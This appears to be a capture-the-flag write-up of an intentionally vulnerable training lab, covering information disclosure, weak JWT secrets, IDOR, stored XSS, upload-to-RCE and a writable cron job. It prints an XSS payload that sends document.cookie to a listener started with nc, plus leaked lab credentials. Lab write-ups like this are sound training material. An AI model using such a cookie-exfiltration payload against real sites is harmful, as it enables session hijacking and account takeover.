Post cover image

June 19, 2026

InvoiceHub CTF:HIVE CONSULT

This lab was created by HIVE CONSULT / RedHatPentester for educational web security training. All vulnerabilities are intentional and…

Ibrahim Sheikh

3 min read

This lab was created by HIVE CONSULT / RedHatPentester for educational web security training. All vulnerabilities are intentional and contained within Docker.

Phase 1: Reconnaissance & Information Disclosure

Initial reconnaissance revealed several sensitive resources exposed through robots.txt, including:

None 
/admin.html
/api/internal/debug
/backup
/backup/config_backup.env
None

Accessing these endpoints disclosed:

  • Administrative credentials
  • JWT signing secret (hivesecret)
  • Database location
  • Internal application details
  • Backup file locations

This information significantly reduced the attack complexity and provided a direct path toward privilege escalation.

V1:Information Disclosure

The application exposed sensitive configuration and backup files without authentication.

Examples of disclosed information included:

None 
JWT_SECRET=hivesecret
ADMIN_EMAIL=admin@hiveconsult.com
ADMIN_PASS=Admin@2024!
None

This vulnerability directly enabled further attacks against authentication and authorization mechanisms.

V2:Weak JWT & Administrative Access

The exposed backup configuration contained valid administrator credentials and the JWT signing secret.

Using the disclosed credentials, I successfully authenticated as an administrator and gained access to privileged functionality.

The application relied on:

None 
HS256
JWT_SECRET=hivesecret

If credentials were not exposed, knowledge of the signing secret would also allow forged administrative tokens.

V3:Insecure Direct Object Reference

By modifying invoice identifiers in requests, I was able to access invoices belonging to other users.

Example:

Invoice #3 → My invoice
Invoice #1 → Government contract invoice
Invoice #2 → Internal HIVE invoice

The endpoint failed to verify ownership before returning invoice data.

This resulted in unauthorized disclosure of:

  • Client information
  • Invoice details
  • Internal business records
None

V4:Stored Cross-Site Scripting

The support ticket system stored user-controlled HTML without sanitization.

Initial verification payload:

None 
<img src=x onerror=alert(1)>

When viewed within the administrator ticket portal, the payload executed successfully, confirming Stored XSS.

None

Session Theft Demonstration

To demonstrate impact, the following payload was submitted:

<img src=x onerror="new Image().src='http://127.0.0.1:9001/?c='+encodeURIComponent(document.cookie)">

A Netcat listener was started:

nc -lvnp 9001

When the ticket was rendered, the browser issued:

GET /?c=token=...
None

This demonstrated that arbitrary JavaScript could execute in the victim's browser and exfiltrate session tokens.

Impact

  • Session hijacking
  • Account takeover
  • Administrative impersonation
  • Further application compromise

Insert screenshots: XSS alert, captured token

V5:Race Condition

The application contained a coupon redemption mechanism vulnerable to a Time-of-Check Time-of-Use (TOCTOU) race condition.

The logic performed:

Validate coupon
↓
Artificial delay
↓
Mark coupon used
↓
Credit account

This design introduces a race window where multiple concurrent requests may redeem the same coupon before its state is updated.

Source code review confirmed the vulnerability pattern. However, I was unable to consistently reproduce the multi-redemption behavior within the provided lab environment.

V7:File Upload Bypass → Remote Code Execution

The upload functionality relied on client-supplied MIME types instead of validating file extensions or file content.

A PHP web shell was uploaded as:

shell.php5

while spoofing the MIME type:

None None

This bypassed the upload restrictions and resulted in command execution through the application's simulated PHP execution feature.

After obtaining shell access as the node user, I successfully accessed:

/var/www/proof.txt

and captured:

None

V8:Privilege Escalation via Writable Root Cron Job

Post-exploitation enumeration revealed:

/opt/backup.sh

was world writable:

None 
-rwxrwxrwx

and scheduled via root cron:

This configuration would normally allow a low-privileged user to modify the script and execute arbitrary commands as root when the scheduled task runs.

Lab Issue

While reviewing the Docker image, an additional flag was identified:

HIVE{r00t3d_v14_wr1t4bl3_cr0nj0b_GG_2024}

However, the lab environment appeared incomplete:

  • Cron did not appear to be running
  • /root/root.txt was not present
  • The intended privilege escalation path could not be fully exercised

As a result, the vulnerability was successfully identified and validated through source review, but the final root flag could not be captured from the running container.

Conclusion

This assessment identified multiple critical vulnerabilities across authentication, authorization, client-side security, file handling, and post-exploitation attack surfaces, including:

  • Information Disclosure
  • Weak JWT Security
  • IDOR
  • Stored XSS
  • Race Condition (TOCTOU)
  • File Upload Bypass
  • Remote Code Execution
  • Privilege Escalation via Writable Cron Job

Although the final privilege-escalation flag appeared unreachable due to an apparent lab configuration issue, the intended attack path was successfully identified and analyzed.

For the flags section, I'd be transparent:

Flag Status

  • ✅ HIVE{1d0r_4ll0ws_cr0ss_t3n4nt_1nv01c3_4cc3ss}
  • ✅ HIVE{rce_v14_f1l3_upl04d_byp4ss_n1c3_w0rk
  • ⚠️ HIVE{r00t3d_v14_wr1t4bl3_cr0nj0b_GG_2024} identified in the Docker build configuration but not retrievable from the running container due to apparent lab execution issues.